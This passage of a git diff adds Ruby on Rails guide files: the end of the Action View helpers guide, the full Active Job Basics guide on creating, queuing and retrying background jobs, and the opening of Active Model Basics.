"rails": +radio_button("article", "category", "rails") +radio_button("article", "category", "java") +# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" /> +# <input type="radio" id="article_category_java" name="article[category]" value="java" /> +``` + +#### text_area + +Returns a textarea opening and closing tag set tailored for accessing a specified attribute. + +```ruby +text_area(:comment, :text, size: "20x30") +# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]"> +# #{@comment.text} +# </textarea> +``` + +#### text_field + +Returns an input tag of the "text" type tailored for accessing a specified attribute. + +```ruby +text_field(:article, :title) +# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" /> +``` + +#### email_field + +Returns an input tag of the "email" type tailored for accessing a specified attribute. + +```ruby +email_field(:user, :email) +# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" /> +``` + +#### url_field + +Returns an input tag of the "url" type tailored for accessing a specified attribute. + +```ruby +url_field(:user, :url) +# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" /> +``` + +### FormOptionsHelper + +Provides a number of methods for turning different kinds of containers into a set of option tags. + +#### collection_select + +Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + belongs_to :author +end + +class Author < ApplicationRecord + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Author for an instance of Article, `@article`): + +```ruby +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) +``` + +If `@article.author_id` is 1, this would return: + +```html +<select name="article[author_id]"> + <option value="">Please select</option> + <option value="1" selected="selected">D. Heinemeier Hansson</option> + <option value="2">D. Thomas</option> + <option value="3">M. Clark</option> +</select> +``` + +#### collection_radio_buttons + +Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + belongs_to :author +end + +class Author < ApplicationRecord + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Author for an instance of Article, `@article`): + +```ruby +collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) +``` + +If `@article.author_id` is 1, this would return: + +```html +<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" /> +<label for="article_author_id_1">D. Heinemeier Hansson</label> +<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" /> +<label for="article_author_id_2">D. Thomas</label> +<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" /> +<label for="article_author_id_3">M. Clark</label> +``` + +#### collection_check_boxes + +Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + has_and_belongs_to_many :authors +end + +class Author < ApplicationRecord + has_and_belongs_to_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Authors for an instance of Article, `@article`): + +```ruby +collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) +``` + +If `@article.author_ids` is [1], this would return: + +```html +<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" /> +<label for="article_author_ids_1">D. Heinemeier Hansson</label> +<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" /> +<label for="article_author_ids_2">D. Thomas</label> +<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" /> +<label for="article_author_ids_3">M. Clark</label> +<input name="article[author_ids][]" type="hidden" value="" /> +``` + +#### option_groups_from_collection_for_select + +Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. + +Example object structure for use with this method: + +```ruby +class Continent < ApplicationRecord + has_many :countries + # attribs: id, name +end + +class Country < ApplicationRecord + belongs_to :continent + # attribs: id, name, continent_id +end +``` + +Sample usage: + +```ruby +option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) +``` + +Possible output: + +```html +<optgroup label="Africa"> + <option value="1">Egypt</option> + <option value="4">Rwanda</option> + ... +</optgroup> +<optgroup label="Asia"> + <option value="3" selected="selected">China</option> + <option value="12">India</option> + <option value="5">Japan</option> + ... +</optgroup> +``` + +NOTE: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag. + +#### options_for_select + +Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. + +```ruby +options_for_select([ "VISA", "MasterCard" ]) +# => <option>VISA</option> <option>MasterCard</option> +``` + +NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. + +#### options_from_collection_for_select + +Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text. + +```ruby +# options_from_collection_for_select(collection, value_method, text_method, selected = nil) +``` + +For example, imagine a loop iterating over each person in `@project.people` to generate an input tag: + +```ruby +options_from_collection_for_select(@project.people, "id", "name") +# => <option value="#{person.id}">#{person.name}</option> +``` + +NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. + +#### select + +Create a select tag and a series of contained option tags for the provided object and method. + +Example: + +```ruby +select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) +``` + +If `@article.person_id` is 1, this would become: + +```html +<select name="article[person_id]"> + <option value=""></option> + <option value="1" selected="selected">David</option> + <option value="2">Eileen</option> + <option value="3">Rafael</option> +</select> +``` + +#### time_zone_options_for_select + +Returns a string of option tags for pretty much any time zone in the world. + +#### time_zone_select + +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. + +```ruby +time_zone_select("user", "time_zone") +``` + +#### date_field + +Returns an input tag of the "date" type tailored for accessing a specified attribute. + +```ruby +date_field("user", "dob") +``` + +### FormTagHelper + +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. + +#### check_box_tag + +Creates a check box form input tag. + +```ruby +check_box_tag 'accept' +# => <input id="accept" name="accept" type="checkbox" value="1" /> +``` + +#### field_set_tag + +Creates a field set for grouping HTML form elements. + +```html+erb +<%= field_set_tag do %> + <p><%= text_field_tag 'name' %></p> +<% end %> +# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset> +``` + +#### file_field_tag + +Creates a file upload field. + +```html+erb +<%= form_tag({ action: "post" }, multipart: true) do %> + <label for="file">File to Upload</label> <%= file_field_tag "file" %> + <%= submit_tag %> +<% end %> +``` + +Example output: + +```ruby +file_field_tag 'attachment' +# => <input id="attachment" name="attachment" type="file" /> +``` + +#### form_tag + +Starts a form tag that points the action to a URL configured with `url_for_options` just like `ActionController::Base#url_for`. + +```html+erb +<%= form_tag '/articles' do %> + <div><%= submit_tag 'Save' %></div> +<% end %> +# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form> +``` + +#### hidden_field_tag + +Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user. + +```ruby +hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' +# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" /> +``` + +#### image_submit_tag + +Displays an image which when clicked will submit the form. + +```ruby +image_submit_tag("login.png") +# => <input src="/images/login.png" type="image" /> +``` + +#### label_tag + +Creates a label field. + +```ruby +label_tag 'name' +# => <label for="name">Name</label> +``` + +#### password_field_tag + +Creates a password field, a masked text field that will hide the users input behind a mask character. + +```ruby +password_field_tag 'pass' +# => <input id="pass" name="pass" type="password" /> +``` + +#### radio_button_tag + +Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options. + +```ruby +radio_button_tag 'favorite_color', 'maroon' +# => <input id="favorite_color_maroon" name="favorite_color" type="radio" value="maroon" /> +``` + +#### select_tag + +Creates a dropdown selection box. + +```ruby +select_tag "people", "<option>David</option>" +# => <select id="people" name="people"><option>David</option></select> +``` + +#### submit_tag + +Creates a submit button with the text provided as the caption. + +```ruby +submit_tag "Publish this article" +# => <input name="commit" type="submit" value="Publish this article" /> +``` + +#### text_area_tag + +Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. + +```ruby +text_area_tag 'article' +# => <textarea id="article" name="article"></textarea> +``` + +#### text_field_tag + +Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query. + +```ruby +text_field_tag 'name' +# => <input id="name" name="name" type="text" /> +``` + +#### email_field_tag + +Creates a standard input field of email type. + +```ruby +email_field_tag 'email' +# => <input id="email" name="email" type="email" /> +``` + +#### url_field_tag + +Creates a standard input field of url type. + +```ruby +url_field_tag 'url' +# => <input id="url" name="url" type="url" /> +``` + +#### date_field_tag + +Creates a standard input field of date type. + +```ruby +date_field_tag "dob" +# => <input id="dob" name="dob" type="date" /> +``` + +### JavaScriptHelper + +Provides functionality for working with JavaScript in your views. + +#### escape_javascript + +Escape carrier returns and single and double quotes for JavaScript segments. + +#### javascript_tag + +Returns a JavaScript tag wrapping the provided code. + +```ruby +javascript_tag "alert('All is good')" +``` + +```html +<script> +//<![CDATA[ +alert('All is good') +//]]> +</script> +``` + +### NumberHelper + +Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. + +#### number_to_currency + +Formats a number into a currency string (e.g., $13.65). + +```ruby +number_to_currency(1234567890.50) # => $1,234,567,890.50 +``` + +#### number_to_human_size + +Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users. + +```ruby +number_to_human_size(1234) # => 1.2 KB +number_to_human_size(1234567) # => 1.2 MB +``` + +#### number_to_percentage + +Formats a number as a percentage string. + +```ruby +number_to_percentage(100, precision: 0) # => 100% +``` + +#### number_to_phone + +Formats a number into a phone number (US by default). + +```ruby +number_to_phone(1235551234) # => 123-555-1234 +``` + +#### number_with_delimiter + +Formats a number with grouped thousands using a delimiter. + +```ruby +number_with_delimiter(12345678) # => 12,345,678 +``` + +#### number_with_precision + +Formats a number with the specified level of `precision`, which defaults to 3. + +```ruby +number_with_precision(111.2345) # => 111.235 +number_with_precision(111.2345, precision: 2) # => 111.23 +``` + +### SanitizeHelper + +The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. + +#### sanitize + +This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed. + +```ruby +sanitize @article.body +``` + +If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else. + +```ruby +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` + +To change defaults for multiple uses, for example adding table tags to the default: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' +end +``` + +#### sanitize_css(style) + +Sanitizes a block of CSS code. + +#### strip_links(html) +Strips all link tags from text leaving just the link text. + +```ruby +strip_links('<a href="http://rubyonrails.org">Ruby on Rails</a>') +# => Ruby on Rails +``` + +```ruby +strip_links('emails to <a href="mailto:me@email.com">me@email.com</a>.') +# => emails to me@email.com. +``` + +```ruby +strip_links('Blog: <a href="http://myblog.com/">Visit</a>.') +# => Blog: Visit. +``` + +#### strip_tags(html) + +Strips all HTML tags from the html, including comments. +This functionality is powered by the rails-html-sanitizer gem. + +```ruby +strip_tags("Strip <i>these</i> tags!") +# => Strip these tags! +``` + +```ruby +strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>") +# => Bold no more! See more +``` + +NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. + +### CsrfHelper + +Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site +request forgery protection parameter and token, respectively. + +```html +<%= csrf_meta_tags %> +``` + +NOTE: Regular forms generate hidden fields so they do not use these tags. More +details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf). + +Localized Views +--------------- + +Action View has the ability to render different templates depending on the current locale. + +For example, suppose you have an `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. + +You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. + +Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: + +```ruby +before_action :set_expert_locale + +def set_expert_locale + I18n.locale = :expert if current_user.expert? +end +``` + +Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users. + +You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md new file mode 100644 index 0000000000..0ebef46373 --- /dev/null +++ b/guides/source/active_job_basics.md @@ -0,0 +1,472 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Job Basics +================= + +This guide provides you with all you need to get started in creating, +enqueuing and executing background jobs. + +After reading this guide, you will know: + +* How to create jobs. +* How to enqueue jobs. +* How to run jobs in the background. +* How to send emails from your application asynchronously. + +-------------------------------------------------------------------------------- + + +Introduction +------------ + +Active Job is a framework for declaring jobs and making them run on a variety +of queuing backends. These jobs can be everything from regularly scheduled +clean-ups, to billing charges, to mailings. Anything that can be chopped up +into small units of work and run in parallel, really. + + +The Purpose of Active Job +----------------------------- +The main point is to ensure that all Rails apps will have a job infrastructure +in place. We can then have framework features and other gems build on top of that, +without having to worry about API differences between various job runners such as +Delayed Job and Resque. Picking your queuing backend becomes more of an operational +concern, then. And you'll be able to switch between them without having to rewrite +your jobs. + +NOTE: Rails by default comes with an asynchronous queuing implementation that +runs jobs with an in-process thread pool. Jobs will run asynchronously, but any +jobs in the queue will be dropped upon restart. + + +Creating a Job +-------------- + +This section will provide a step-by-step guide to creating a job and enqueuing it. + +### Create the Job + +Active Job provides a Rails generator to create jobs. The following will create a +job in `app/jobs` (with an attached test case under `test/jobs`): + +```bash +$ rails generate job guests_cleanup +invoke test_unit +create test/jobs/guests_cleanup_job_test.rb +create app/jobs/guests_cleanup_job.rb +``` + +You can also create a job that will run on a specific queue: + +```bash +$ rails generate job guests_cleanup --queue urgent +``` + +If you don't want to use a generator, you could create your own file inside of +`app/jobs`, just make sure that it inherits from `ApplicationJob`. + +Here's what a job looks like: + +```ruby +class GuestsCleanupJob < ApplicationJob + queue_as :default + + def perform(*guests) + # Do something later + end +end +``` + +Note that you can define `perform` with as many arguments as you want. + +### Enqueue the Job + +Enqueue a job like so: + +```ruby +# Enqueue a job to be performed as soon as the queuing system is +# free. +GuestsCleanupJob.perform_later guest +``` + +```ruby +# Enqueue a job to be performed tomorrow at noon. +GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest) +``` + +```ruby +# Enqueue a job to be performed 1 week from now. +GuestsCleanupJob.set(wait: 1.week).perform_later(guest) +``` + +```ruby +# `perform_now` and `perform_later` will call `perform` under the hood so +# you can pass as many arguments as defined in the latter. +GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') +``` + +That's it! + +Job Execution +------------- + +For enqueuing and executing jobs in production you need to set up a queuing backend, +that is to say you need to decide for a 3rd-party queuing library that Rails should use. +Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM. +If the process crashes or the machine is reset, then all outstanding jobs are lost with the +default async backend. This may be fine for smaller apps or non-critical jobs, but most +production apps will need to pick a persistent backend. + +### Backends + +Active Job has built-in adapters for multiple queuing backends (Sidekiq, +Resque, Delayed Job, and others). To get an up-to-date list of the adapters +see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). + +### Setting the Backend + +You can easily set your queuing backend: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + # Be sure to have the adapter's gem in your Gemfile + # and follow the adapter's specific installation + # and deployment instructions. + config.active_job.queue_adapter = :sidekiq + end +end +``` + +You can also configure your backend on a per job basis. + +```ruby +class GuestsCleanupJob < ApplicationJob + self.queue_adapter = :resque + #.... +end + +# Now your job will use `resque` as its backend queue adapter overriding what +# was configured in `config.active_job.queue_adapter`. +``` + +### Starting the Backend + +Since jobs run in parallel to your Rails application, most queuing libraries +require that you start a library-specific queuing service (in addition to +starting your Rails app) for the job processing to work. Refer to library +documentation for instructions on starting your queue backend. + +Here is a noncomprehensive list of documentation: + +- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job) +- [Resque](https://github.com/resque/resque/wiki/ActiveJob) +- [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob) +- [Sucker Punch](https://github.com/brandonhilkert/sucker_punch#active-job) +- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job) +- [Delayed Job](https://github.com/collectiveidea/delayed_job#active-job) + +Queues +------ + +Most of the adapters support multiple queues. With Active Job you can schedule +the job to run on a specific queue: + +```ruby +class GuestsCleanupJob < ApplicationJob + queue_as :low_priority + #.... +end +``` + +You can prefix the queue name for all your jobs using +`config.active_job.queue_name_prefix` in `application.rb`: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + config.active_job.queue_name_prefix = Rails.env + end +end + +# app/jobs/guests_cleanup_job.rb +class GuestsCleanupJob < ApplicationJob + queue_as :low_priority + #.... +end + +# Now your job will run on queue production_low_priority on your +# production environment and on staging_low_priority +# on your staging environment +``` + +The default queue name prefix delimiter is '\_'. This can be changed by setting +`config.active_job.queue_name_delimiter` in `application.rb`: + +```ruby +# config/application.rb +module YourApp + class Application < Rails::Application + config.active_job.queue_name_prefix = Rails.env + config.active_job.queue_name_delimiter = '.' + end +end + +# app/jobs/guests_cleanup_job.rb +class GuestsCleanupJob < ApplicationJob + queue_as :low_priority + #.... +end + +# Now your job will run on queue production.low_priority on your +# production environment and on staging.low_priority +# on your staging environment +``` + +If you want more control on what queue a job will be run you can pass a `:queue` +option to `#set`: + +```ruby +MyJob.set(queue: :another_queue).perform_later(record) +``` + +To control the queue from the job level you can pass a block to `#queue_as`. The +block will be executed in the job context (so you can access `self.arguments`) +and you must return the queue name: + +```ruby +class ProcessVideoJob < ApplicationJob + queue_as do + video = self.arguments.first + if video.owner.premium? + :premium_videojobs + else + :videojobs + end + end + + def perform(video) + # Do process video + end +end + +ProcessVideoJob.perform_later(Video.last) +``` + +NOTE: Make sure your queuing backend "listens" on your queue name. For some +backends you need to specify the queues to listen to. + + +Callbacks +--------- + +Active Job provides hooks to trigger logic during the life cycle of a job. Like +other callbacks in Rails, you can implement the callbacks as ordinary methods +and use a macro-style class method to register them as callbacks: + +```ruby +class GuestsCleanupJob < ApplicationJob + queue_as :default + + around_perform :around_cleanup + + def perform + # Do something later + end + + private + def around_cleanup + # Do something before perform + yield + # Do something after perform + end +end +``` + +The macro-style class methods can also receive a block. Consider using this +style if the code inside your block is so short that it fits in a single line. +For example, you could send metrics for every job enqueued: + +```ruby +class ApplicationJob < ActiveJob::Base + before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" } +end +``` + +### Available callbacks + +* `before_enqueue` +* `around_enqueue` +* `after_enqueue` +* `before_perform` +* `around_perform` +* `after_perform` + + +Action Mailer +------------ + +One of the most common jobs in a modern web application is sending emails outside +of the request-response cycle, so the user doesn't have to wait on it. Active Job +is integrated with Action Mailer so you can easily send emails asynchronously: + +```ruby +# If you want to send the email now use #deliver_now +UserMailer.welcome(@user).deliver_now + +# If you want to send the email through Active Job use #deliver_later +UserMailer.welcome(@user).deliver_later +``` + +NOTE: Using the asynchronous queue from a Rake task (for example, to +send an email using `.deliver_later`) will generally not work because Rake will +likely end, causing the in-process thread pool to be deleted, before any/all +of the `.deliver_later` emails are processed. To avoid this problem, use +`.deliver_now` or run a persistent queue in development. + + +Internationalization +-------------------- + +Each job uses the `I18n.locale` set when the job was created. Useful if you send +emails asynchronously: + +```ruby +I18n.locale = :eo + +UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto. +``` + + +Supported types for arguments +---------------------------- + +ActiveJob supports the following types of arguments by default: + + - Basic types (`NilClass`, `String`, `Integer`, `Float`, `BigDecimal`, `TrueClass`, `FalseClass`) + - `Symbol` + - `Date` + - `Time` + - `DateTime` + - `ActiveSupport::TimeWithZone` + - `ActiveSupport::Duration` + - `Hash` (Keys should be of `String` or `Symbol` type) + - `ActiveSupport::HashWithIndifferentAccess` + - `Array` + +### GlobalID + +Active Job supports GlobalID for parameters. This makes it possible to pass live +Active Record objects to your job instead of class/id pairs, which you then have +to manually deserialize. Before, jobs would look like this: + +```ruby +class TrashableCleanupJob < ApplicationJob + def perform(trashable_class, trashable_id, depth) + trashable = trashable_class.constantize.find(trashable_id) + trashable.cleanup(depth) + end +end +``` + +Now you can simply do: + +```ruby +class TrashableCleanupJob < ApplicationJob + def perform(trashable, depth) + trashable.cleanup(depth) + end +end +``` + +This works with any class that mixes in `GlobalID::Identification`, which +by default has been mixed into Active Record classes. + +### Serializers + +You can extend the list of supported argument types. You just need to define your own serializer: + +```ruby +class MoneySerializer < ActiveJob::Serializers::ObjectSerializer + # Checks if an argument should be serialized by this serializer. + def serialize?(argument) + argument.is_a? Money + end + + # Converts an object to a simpler representative using supported object types. + # The recommended representative is a Hash with a specific key. Keys can be of basic types only. + # You should call `super` to add the custom serializer type to the hash. + def serialize(money) + super( + "amount" => money.amount, + "currency" => money.currency + ) + end + + # Converts serialized value into a proper object. + def deserialize(hash) + Money.new(hash["amount"], hash["currency"]) + end +end +``` + +and add this serializer to the list: + +```ruby +Rails.application.config.active_job.custom_serializers << MoneySerializer +``` + +Exceptions +---------- + +Active Job provides a way to catch exceptions raised during the execution of the +job: + +```ruby +class GuestsCleanupJob < ApplicationJob + queue_as :default + + rescue_from(ActiveRecord::RecordNotFound) do |exception| + # Do something with the exception + end + + def perform + # Do something later + end +end +``` + +### Retrying or Discarding failed jobs + +It's also possible to retry or discard a job if an exception is raised during execution. +For example: + +```ruby +class RemoteServiceJob < ApplicationJob + retry_on CustomAppException # defaults to 3s wait, 5 attempts + + discard_on ActiveJob::DeserializationError + + def perform(*args) + # Might raise CustomAppException or ActiveJob::DeserializationError + end +end +``` + +To get more details see the API Documentation for [ActiveJob::Exceptions](http://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html). + +### Deserialization + +GlobalID allows serializing full Active Record objects passed to `#perform`. + +If a passed record is deleted after the job is enqueued but before the `#perform` +method is called Active Job will raise an `ActiveJob::DeserializationError` +exception. + +Job Testing +-------------- + +You can find detailed instructions on how to test your jobs in the +[testing guide](testing.html#testing-jobs). diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md new file mode 100644 index 0000000000..2e1bb1a23d --- /dev/null +++ b/guides/source/active_model_basics.md @@ -0,0 +1,521 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Model Basics +=================== + +This guide should provide you with all you need to get started using model +classes. Active Model allows for Action Pack helpers to interact with +plain Ruby objects. Active Model also helps build custom ORMs for use +outside of the Rails framework. + +After reading this guide, you will know: + +* How an Active Record model behaves. +* How Callbacks and validations work. +* How serializers work. +* How Active Model integrates with the Rails internationalization (i18n) framework. + +-------------------------------------------------------------------------------- + +Introduction +------------ + +Active Model is a library containing various modules used in developing +classes that need some features present on Active Record. +Some of these modules are explained below. + +### Attribute Methods + +The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes +on methods of a class. It is used by defining the prefixes and suffixes and +which methods on the object will use them. + +```ruby +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods 'age' + + attr_accessor :age + + private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 + end +end + +person = Person.new +person.age = 110 +person.age_highest? # => true +person.reset_age # => 0 +person.age_highest? # => false +``` + +### Callbacks + +`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an +ability to define callbacks which run at appropriate times. +After defining callbacks, you can wrap them with before, after, and around +custom methods. + +```ruby +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + run_callbacks(:update) do + # This method is called when update is called on an object. + end + end + + def reset_me + # This method is called when update is called on an object as a before_update callback is defined. + end +end +``` + +### Conversion + +If a class defines `persisted?` and `id` methods, then you can include the +`ActiveModel::Conversion` module in that class, and call the Rails conversion +methods on objects of that class. + +```ruby +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person # => true +person.to_key # => nil +person.to_param # => nil +``` + +### Dirty + +An object becomes dirty when it has gone through one or more changes to its +attributes and has not been saved. `ActiveModel::Dirty` gives the ability to +check whether an object has been changed or not. It also has attribute based +accessor methods. Let's consider a Person class with attributes `first_name` +and `last_name`: + +```ruby +class Person + include ActiveModel::Dirty + define_attribute_methods :first_name, :last_name + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + last_name_will_change! + @last_name = value + end + + def save + # do save work... + changes_applied + end +end +``` + +#### Querying object directly for its list of all changed attributes. + +```ruby +person = Person.new +person.changed? # => false + +person.first_name = "First Name" +person.first_name # => "First Name" + +# returns true if any of the attributes have unsaved changes. +person.changed? # => true + +# returns a list of attributes that have changed before saving. +person.changed # => ["first_name"] + +# returns a Hash of the attributes that have changed with their original values. +person.changed_attributes # => {"first_name"=>nil} + +# returns a Hash of changes, with the attribute names as the keys, and the +# values as an array of the old and new values for that field. +person.changes # => {"first_name"=>[nil, "First Name"]} +``` + +#### Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +```ruby +# attr_name_changed? +person.first_name # => "First Name" +person.first_name_changed? # => true +``` + +Track the previous value of the attribute. + +```ruby +# attr_name_was accessor +person.first_name_was # => nil +``` + +Track both previous and current value of the changed attribute. Returns an array +if changed, otherwise returns nil. + +```ruby +# attr_name_change +person.first_name_change # => [nil, "First Name"] +person.last_name_change # => nil +``` + +### Validations + +The `ActiveModel::Validations` module adds the ability to validate objects +like in Active Record. + +```ruby +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, presence: true + validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i + validates! :token, presence: true +end + +person = Person.new +person.token = "2b1f325" +person.valid? # => false +person.name = 'vishnu' +person.email = 'me' +person.valid? # => false +person.email = 'me@vishnuatrai.com' +person.valid? # => true +person.token = nil +person.valid? # => raises ActiveModel::StrictValidationFailed +``` + +### Naming + +`ActiveModel::Naming` adds a number of class methods which make naming and routing +easier to manage. The module defines the `model_name` class method which +will define a number of accessors using some `ActiveSupport::Inflector` methods. + +```ruby +class Person + extend ActiveModel::Naming +end + +Person.model_name.name # => "Person" +Person.model_name.singular # => "person" +Person.model_name.plural # => "people" +Person.model_name.element # => "person" +Person.model_name.human # => "Person" +Person.model_name.collection # => "people" +Person.model_name.param_key # => "person" +Person.model_name.i18n_key # => :person +Person.model_name.route_key # => "people" +Person.model_name.singular_route_key # => "person" +``` + +### Model + +`ActiveModel::Model` adds the ability for a class to work with Action Pack and +Action View right out of the box. + +```ruby +class EmailContact + include ActiveModel::Model + + attr_accessor :name, :email, :message + validates :name, :email, :message, presence: true + + def deliver + if valid? + # deliver email + end + end +end +``` + +When including `ActiveModel::Model` you get some features like: + +- model name introspection +- conversions +- translations +- validations + +It also gives you the ability to initialize an object with a hash of attributes, +much like any Active Record object. + +```ruby +email_contact = EmailContact.new(name: 'David', + email: 'david@example.com', + message: 'Hello World') +email_contact.name # => 'David' +email_contact.email # => 'david@example.com' +email_contact.valid? # => true +email_contact.persisted? # => false +``` + +Any class that includes `ActiveModel::Model` can be used with `form_for`, +`render` and any other Action View helper methods, just like Active Record +objects. + +### Serialization + +`ActiveModel::Serialization` provides basic serialization for your object. +You need to declare an attributes Hash which contains the attributes you want to +serialize. Attributes must be strings, not symbols. + +```ruby +class Person + include ActiveModel::Serialization + + attr_accessor :name + + def attributes + {'name' => nil} + end +end +``` + +Now you can access a serialized Hash of your object using the `serializable_hash` method. + +```ruby +person = Person.new +person.serializable_hash # => {"name"=>nil} +person.name = "Bob" +person.serializable_hash # => {"name"=>"Bob"} +``` + +#### ActiveModel::Serializers + +Active Model also provides the `ActiveModel::Serializers::JSON` module +for JSON serializing / deserializing. This module automatically includes the +previously discussed `ActiveModel::Serialization` module. + +##### ActiveModel::Serializers::JSON + +To use `ActiveModel::Serializers::JSON` you only need to change the +module you are including from `ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`. + +```ruby +class Person + include ActiveModel::Serializers::JSON + + attr_accessor :name + + def attributes + {'name' => nil} + end +end +``` + +The `as_json` method, similar to `serializable_hash`, provides a Hash representing +the model. + +```ruby +person = Person.new +person.as_json # => {"name"=>nil} +person.name = "Bob" +person.as_json # => {"name"=>"Bob"} +``` + +You can also define the attributes for a model from a JSON string. +However, you need to define the `attributes=` method on your class: + +```ruby +class Person + include ActiveModel::Serializers::JSON + + attr_accessor :name + + def attributes=(hash) + hash.each do |key, value| + send("#{key}=", value) + end + end + + def attributes + {'name' => nil} + end +end +``` + +Now it is possible to create an instance of `Person` and set attributes using `from_json`. + +```ruby +json = { name: 'Bob' }.to_json +person = Person.new +person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob"> +person.name # => "Bob" +``` + +### Translation + +`ActiveModel::Translation` provides integration between your object and the Rails +internationalization (i18n) framework. + +```ruby +class Person + extend ActiveModel::Translation +end +``` + +With the `human_attribute_name` method, you can transform attribute names into a +more human-readable format. The human-readable format is defined in your locale file(s). + +* config/locales/app.pt-BR.yml + + ```yml + pt-BR: + activemodel: + attributes: + person: + name: 